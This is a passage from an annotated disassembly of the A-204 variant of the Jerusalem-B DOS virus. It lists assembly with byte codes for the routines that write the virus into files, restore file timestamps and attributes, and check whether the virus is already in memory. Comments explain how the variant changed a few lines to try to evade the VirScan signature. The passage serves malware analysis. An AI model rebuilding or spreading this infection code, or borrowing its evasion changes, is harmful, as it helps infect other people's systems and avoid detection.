B8 00 42 MOV AX,04200 ; Move File Read/Write 0676 CD 21 INT 021 ; pointer to beginning of ; file 0678 72 0A JB 0684 ; If Error: -> 0684h 067A B9 1C 00 MOV CX,01C ; CX=1Ch 067D BA 4F 00 MOV DX,04F ; DX=4Fh 0680 B4 40 MOV AH,040 ; Write to file with 0682 CD 21 INT 021 ; handle 0684 72 11 JB 0697 ; If Error: -> 0697h 0686 3B C1 CMP AX,CX ; Are all bytes written? 0688 75 18 JNE 06A2 ; No: -> 06A2h 068A 8B 16 7C 00 MOV DX,W[07C] ; Restore AX into DX 068E 8B 0E 7E 00 MOV CX,W[07E] ; Restore DX into CX 0692 B8 00 42 MOV AX,04200 0695 CD 21 INT 021 0697 72 09 JB 06A2 ; If Error: -> 06A2h 0699 33 D2 XOR DX,DX ; DX=0000h 069B B9 10 07 MOV CX,0710 ; CX=0710h 069E B4 40 MOV AH,040 06A0 CD 21 INT 021 06A2 2E 83 3E 8F 00 00 CS CMP W[08F],0 ; Not Enough Memory? 06A8 74 04 JE 06AE ; Yes: -> 06AEh 06AA B4 49 MOV AH,049 ; Free memory 06AC CD 21 INT 021 ; 06AE 2E 83 3E 70 00 FF CS CMP W[070],-1 06B4 74 31 JE 06E7 06B6 2E 8B 1E 70 00 CS MOV BX,W[070] ; Restore File Handle 06BB 2E 8B 16 74 00 CS MOV DX,W[074] ; Restore File Date 06C0 2E 8B 0E 76 00 CS MOV CX,W[076] ; Restore File Time 06C5 B8 01 57 MOV AX,05701 ; Set File's Date/Time 06C8 CD 21 INT 021 ; stamp 06CA B4 3E MOV AH,03E ; Close a file with 06CC CD 21 INT 021 ; handle 06CE 2E C5 16 80 00 CS LDS DX,[080] ; Get place (DS:DX) of ; filename 06D3 2E 8B 0E 72 00 CS MOV CX,W[072] ; Restore File Attributes 06D8 B8 01 43 MOV AX,04301 ; Put File Attributes 06DB CD 21 INT 021 ; 06DD 2E C5 16 1B 00 CS LDS DX,[01B] ; Restore original vector 06E2 B8 24 25 MOV AX,02524 ; of interrupt 24h 06E5 CD 21 INT 021 ; 06E7 07 POP ES ; Restore Registers 06E8 1F POP DS 06E9 5F POP DI 06EA 5E POP SI 06EB 5A POP DX 06EC 59 POP CX 06ED 5B POP BX 06EE 58 POP AX 06EF 9D POPF ; Restore Flags 06F0 2E FF 2E 17 00 CS JMP D[017] ; Call original INT 21h ; address which was intercep- ; ted with the LOAD & EXEC. ; statement. Which means it ; will load and execute the ; selected file 06F5 00 00 00 00 00 00 00 00 00 00 00 0700 4D DE 0C 00 10 00 00 00 00 00 00 00 00 00 00 00 0710 E9 92 00 JMP 07A5 ; JUMP -> 07A5h 0711h til 07A4h are the same definition words/bytes as at 0103h til 0194h 07A5 FC CLD 07A6 B4 E0 MOV AH,0E0 07A8 CD 21 INT 021 07AA 80 FC E0 CMP AH,0E0 ; AH>=E0h? 07AD 73 16 JAE 07C5 ; Yes: -> 07C5h 07AF 80 FC 03 CMP AH,3 ; AH<03h 07B2 72 11 JB 07C5 ; Yes: -> 07C5h ; The only way that the ; code get passed here if ; the virus is active in ; memory. It will return ; AX=0300h then. 07B4 B4 DD MOV AH,0DD 07B6 BF 00 01 MOV DI,0100 ; DI=0100h 07B9 BE 10 07 MOV SI,0710 ; SI=0710h 07BC 03 F7 ADD SI,DI ; SI=0810h 07BE 2E 8B 8D 11 00 CS MOV CX,W[DI+011]; CX=Length of file 07C3 CD 21 INT 021 07C5 8C C8 MOV AX,CS ; AX=CS 07C7 05 10 00 ADD AX,010 ; AX=AX+10h 07CA 8E D0 MOV SS,AX ; SS=CS+10h 07CC BC 00 07 MOV SP,0700 ; SP=0700h 07CF 50 PUSH AX ; Store AX 07D0 B8 C5 00 MOV AX,0C5 ; AX=00C5h 07D3 50 PUSH AX ; Store AX 07D4 CB RETF ; RETURN from FAR 07D5 FC CLD ; Clear Direct ; Here the A-204 variant ; differs from the original ; Jerusalem Version B virus ; for the second time. 07D6 2E 8C 06 31 00 CS MOV W[031],ES ; These two lines have 07DB 06 PUSH ES ; been changed in order ; trying to avoid being ; detected by the finger- ; print in the VirScan.Dat ; file. It has not succeeded ; because the strain VirScan ; searches for appears two ; times in the viruscode 07DC 2E 8C 06 39 00 CS MOV W[039],ES ; Store ES 07E1 2E 8C 06 3D 00 CS MOV W[03D],ES ; Store ES 07E6 2E 8C 06 41 00 CS MOV W[041],ES ; Store ES 07EB 8C C0 MOV AX,ES ; AX=ES 07ED 05 10 00 ADD AX,010 ; AX=AX+10h 07F0 2E 01 06 49 00 CS ADD W[049],AX ; Store ES+10h 07F5 2E 01 06 45 00 CS ADD W[045],AX ; Store ES+10h 07FA B4 E0 MOV AH,0E0 ; AH=E0h 07FC CD 21 INT 021 ; 07FE 80 FC E0 CMP AH,0E0 ; AH>=E0? 0801 73 13 JAE 0816 ; Yes: -> 0816h ; This will never happen. ; First of all it would be ; a short jump into the ; original program. Secondly ; is the virus already active ; in memory and will return ; AX=0300h at the INT 21h call ; with AH=E0h 0803 80 FC 03 CMP AH,3 ; AH=03h 0806 07 POP ES ; Restore ES 0807 2E 8E 16 45 00 CS MOV SS,W[045] ; Restore ES+10 into SS 080C 2E 8B 26 43 90 CS MOV SP,W[09043] ; 0810 90 NOP ; Start ofOriginal Program 0811 90 NOP 0812 90 NOP 0813 90 NOP 0814 90 NOP 0815 90 NOP 0816 90 NOP 0817 90 NOP 0818 90 NOP 0819 90 NOP 081A 90 NOP 081B 90 NOP 081C 90 NOP 081D 90 NOP 081E 90 NOP 081F 90 NOP 0820 90 NOP 0821 90 NOP 0822 90 NOP 0823 90 NOP 0824 90 NOP 0825 90 NOP 0826 90 NOP 0827 90 NOP 0828 90 NOP 0829 90 NOP 082A 90 NOP 082B 90 NOP 082C 90 NOP 082D 90 NOP 082E 90 NOP 082F C3 RET ; End of Original Program 0830 2D 32 30 34 2A ; -204* NOTE: A-204 is a course-code for IAP (Inleiding Apparatuur en Programmatuur, in English a Prologue in Hardware and Software) at my university. In this course the PDP-11 Language is being teached. It's my opion, and my opion only, that this change has been made by a first year student. The IAP-course is a course for first years students. Only some lines were changed in order to avoid detection. If the 'author' did know more about the 8086, (s?)he could have optimized the code. Some pieces can be done much more elegant.